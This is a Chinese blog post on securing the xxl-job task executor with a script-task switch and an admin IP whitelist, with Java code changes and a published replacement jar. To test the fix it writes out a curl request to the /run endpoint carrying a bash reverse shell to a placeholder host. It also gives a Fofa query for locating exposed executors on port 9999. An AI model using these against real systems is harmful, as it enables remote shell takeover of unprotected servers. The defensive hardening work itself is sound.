微信公众号:PersistentCoder关注可了解更多的教程。问题或建议,请公众号留言。
xxl-job分布式任务调度,分为调度中心和调度执行器,调度中心也就是xxl-job-admin负责调度任务的管理和触发,调度执行器一般由业务服务引入依赖按照规范实现响应的任务逻辑,主要是被动接收调度中心的指令触发本机业务逻辑的执行。
前边有文章介绍,如果控制台部署到公网环境,并且由于弱口令、漏洞等问题,导致控制台被拿下,使用了默认的accessToken或者由于控制台被拿下的原因,导致自定义的accessToken被窃取,那么调度执行器机器很容易遭受攻击。
另外之前也有文章介绍,如果拿下了控制台,并且能够出网的情况下,很容易窃取accessToken:
这样用户自定义过的accessToken就被拿到了,在xxl-job-executor机器防火墙和端口限制不严格的情况下,攻击者就可以模拟xxl-job-admin的任务触发调用,使用窃取到的accessToken请求/run接口,执行脚本任务,那么executor就能够被bash反弹拿下了。
有人会说上一篇文章中有聊到,xxl-job控制台不是已经做过安全升级,并且可以禁用或者限制脚本类型的任务了吗?是的,但是调度中心和调度执行器是两个不同的个体,并且是分开部署的,xxl-job控制台安全了并不代表任务执行器安全了,就以任务类型的限制来说,控制台只负责任务的管理和触发,具体调用到xxl-job-executor中,任务参数、类型等合法性检查是由任务执行器一方来负责,从代码维度来说,也就是在xxl-job-core里边来实现的。
那么基于xxl-job-core的安全改造主要从以下几点展开:
accessToken的修改依赖于xxl-job-admin对于accessToken的定义和修改,控制台修改之后拿来用即可。
在XxlJobExecutor中添加allowScript是否允许脚本任务属性,并设置get/set方法:
private boolean allowScript;
public boolean isAllowScript() {
return allowScript;
}
public void setAllowScript(boolean allowScript) {
this.allowScript = allowScript;
}
修改start方法,初始化内嵌web服务时传入allowScript:
修改initEmbedServer,根据allowScript在内嵌server启动时传入是否允许脚本任务:
private void initEmbedServer(boolean allowScript,String adminIp,String address, String ip, int port, String appname, String accessToken) throws Exception {
// fill ip port
port = port>0?port: NetUtil.findAvailablePort(9999);
ip = (ip!=null&&ip.trim().length()>0)?ip: IpUtil.getIp();
// generate address
if (address==null || address.trim().length()==0) {
String ip_port_address = IpUtil.getIpPort(ip, port); // registry-address:default use address to registry , otherwise use ip:port if address is null
address = "http://{ip_port}/".replace("{ip_port}", ip_port_address);
}
// accessToken
if (accessToken==null || accessToken.trim().length()==0) {
logger.warn(">>>>>>>>>>> xxl-job accessToken is empty. To ensure system security, please set the accessToken.");
}
// start
embedServer = new EmbedServer();
embedServer.start(allowScript,adminIp,address, port, appname, accessToken);
}
内嵌server启动时初始化ExecutorBiz并传入allowScript:
执行任务会调用ExecutorBiz的run方法,run方法逻辑会对任务类型做合法性校验,我们根据传入的allowScript来实现对任务类型的限制:
@Override
public ReturnT<String> run(TriggerParam triggerParam) {
//...省略...
// valid:jobHandler + jobThread
GlueTypeEnum glueTypeEnum = GlueTypeEnum.match(triggerParam.getGlueType());
if (GlueTypeEnum.BEAN == glueTypeEnum) {
//...省略...
} else if (GlueTypeEnum.GLUE_GROOVY == glueTypeEnum && allowScript) {
//...省略...
} else if (glueTypeEnum!=null && glueTypeEnum.isScript() && allowScript) {
//...省略...
} else {
return new ReturnT<String>(ReturnT.FAIL_CODE, "glueType[" + triggerParam.getGlueType() + "] is not valid.");
}
}
这里就通过用户配置的是否允许脚本任务,在任务执行器维度对调度任务类型做了限制。
同样在XxlJobExecutor中添加adminIp来定义调度中心的ip白名单,多个ip逗号隔开,为空则没有此白名单限制,并设置get/set方法:
private String adminIp;
public String getAdminIp() {
return adminIp;
}
public void setAdminIp(String adminIp) {
this.adminIp = adminIp;
}
修改start方法,初始化内嵌web服务时传入adminIp:
和前边限制任务类型一样,修改initEmbedServer,在内嵌server启动时传入控制台ip白名单:
EmbedServer的start方法会启动一个netty服务,并添加EmbedHttpServerHandler作为请求处理器:
创建EmbedHttpServerHandler时传入了调度中心ip白名单,此Handler是一个SimpleChannelInboundHandler,处理请求时会调用channelRead0方法:
@Override
protected void channelRead0(final ChannelHandlerContext ctx, FullHttpRequest msg) throws Exception {
// request parse
//final byte[] requestBytes = ByteBufUtil.getBytes(msg.content());
String requestData = msg.content().toString(CharsetUtil.UTF_8);
String uri = msg.uri();
HttpMethod httpMethod = msg.method();
boolean keepAlive = HttpUtil.isKeepAlive(msg);
String accessTokenReq = msg.headers().get(XxlJobRemotingUtil.XXL_JOB_ACCESS_TOKEN);
InetSocketAddress inetSocketAddress = (InetSocketAddress) ctx.channel().remoteAddress();
String adminIp = inetSocketAddress.getAddress().getHostAddress();
// invoke
bizThreadPool.execute(new Runnable() {
@Override
public void run() {
// do invoke
Object responseObj = process(httpMethod, uri, requestData, accessTokenReq,adminIp);
// to json
String responseJson = GsonTool.toJson(responseObj);
// write response
writeResponse(ctx, keepAlive, responseJson);
}
});
}
改造channelRead0方法,在处理业务逻辑调用process方法传入调用方的ip,此时EmbedHttpServerHandler已经持有调度中心的ip白名单集合。
修改process方法,根据调度中心ip白名单检查请求调用方ip是否在ip白名单,如果在白名单则允许调用,否则拒绝处理:
需要注意的是,如果没有配置调度中心ip白名单,认为是不做白名单限制,限制如下:
根据前边所描述,xxl-job任务执行器是业务服务引入xxl-job-core之后,启动的时候启动了一个内嵌的netty服务来处理来自任务调度中心的http请求,netty服务默认监听9999端口,如果端口暴露在了公网,很容易被网络空间搜索引擎扫描到,比如扫Fofa搜索:
body="{"code":500,"msg":"invalid request, HttpMethod not support."}" && port="9999"
然后就可以使用默认accessToken尝试调用run接口了,或者使用工具进行扫描测试了:
所以如果把任务执行器部署在内网环境,回调端口通过内网对调度中心开放,就不存在上述问题了。
如果对xxl-job有一定研究并且具备二开能力,建议自行拉取代码进行改造,如果不想自己开发改造,那么我是专业为“懒人”服务的,我已经改造好并且把jar发布到公共仓库了,直接引用按照规范使用即可。
引入依赖或者说替换掉原来的xxl-job-core依赖:
<dependency>
<groupId>io.github.scorpioaeolus</groupId>
<artifactId>xxl-job-core</artifactId>
<version>1.0.3.RELEASE</version>
</dependency>
这个版本是基于官方xxl-job 2.5.0版本的代码改造的,如果出现版本兼容问题,请不要勉强使用。
xxl-job相关的配置继续保留:
### xxl-job admin address list, such as "http://address" or "http://address01,http://address02"
xxl.job.admin.addresses=http://192.168.1.8:8080/xxl-job-admin
### xxl-job executor appname
xxl.job.executor.appname=xxl-job-executor-sample
### xxl-job executor registry-address: default use address to registry , otherwise use ip:port if address is null
xxl.job.executor.address=
### xxl-job executor server-info
xxl.job.executor.ip=
xxl.job.executor.port=9999
### xxl-job executor log-path
xxl.job.executor.logpath=./data/applogs/xxl-job/jobhandler
### xxl-job executor log-retention-days
xxl.job.executor.logretentiondays=30
另外根据xxl-job-admin配置的自定义accessToken,设置accessToken,以及添加安全改造的相关配置:
### xxl-job, access token
xxl.job.accessToken=xxxxef89aghiayhi4ddagayey
# xxl-job-admin ip白名单,多个用英文逗号隔开
xxl.job.admin.ip=192.168.1.8,192.168.1.26
# 是否允许脚本任务,默认false
job.allow.script=false
引入依赖并添加相关配置之后,启动业务服务进行验证。
触发脚本任务:
本机启动xxl-job-admin和xxl-job-executor,直接从本机模拟调度中心发送触发任务指令:
curl -X POST http://127.0.0.1:9999/run \
-H "Host: 127.0.0.1:9999" \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-H "XXL-JOB-ACCESS-TOKEN: uqCkJP#xB4mmiPZ3WIVvO9sQP78aX" \
-d '{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/xxxx/2333 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}'
从调用结果来看,我们对xxl-job-core的安全改造生效,由于配置了不允许脚本任务,所以任务执行器拒绝执行任务并返回报错。
控制台触发任务:
模拟从控制台发送触发任务指令:
curl -X POST http://127.0.0.1:9999/run \
-H "Host: 127.0.0.1:9999" \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-H "XXL-JOB-ACCESS-TOKEN: uqCkJP#xB4mmiPZ3WIVvO9sQP78aX" \
-d '{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "BEAN",
"glueSource": "",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}'
通过了ip白名单限制,也通过了任务类型的限制。
攻击机触发任务:
随便找一台云服务器(或者没有做ip加白的机器),模拟发送调度中心任务触发指令,直接把本机ip从白名单中踢掉即可:
不用验证任务类型的限制,控制台ip白名单的限制在任务类型校验之前,这里请求也被拦截,说明ip白名单限制生效。
本篇文章介绍了基于xxl-job分布式调度平台任务执行器的安全升级改造,回过来想一下,无论是控制台还是任务执行器,如果都部署在内网环境,所有的网络通信也都基于内网来完成,那么还会有这些安全问题吗?应该能够解决绝大多数安全问题,在关键的公网网关或者公网接入点做好严格防护,应该都不存在上述的安全问题。但是事情往往是有矛盾点的,研发能力强、规模大的公司瞧不上这个开源工具或者基本都是自研,而中小团队可能都没有专业的运维去做内网环境的建设(成本和资源问题),当然换个角度来看,这也是推动这些开源工具发展的重要支撑点,没有这些小团队使用不会爆出那么多漏洞,没有漏洞更不会有持续性的更新迭代。
总之对于开源工具和框架的态度就是像我们现代人看历史一样,“取其精髓,去其糟粕”。
参考
https://www.xuxueli.com/xxl-job/
https://github.com/xuxueli/xxl-job/
https://github.com/ScorpioAeolus/xxl-job
本文分享自 PersistentCoder 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!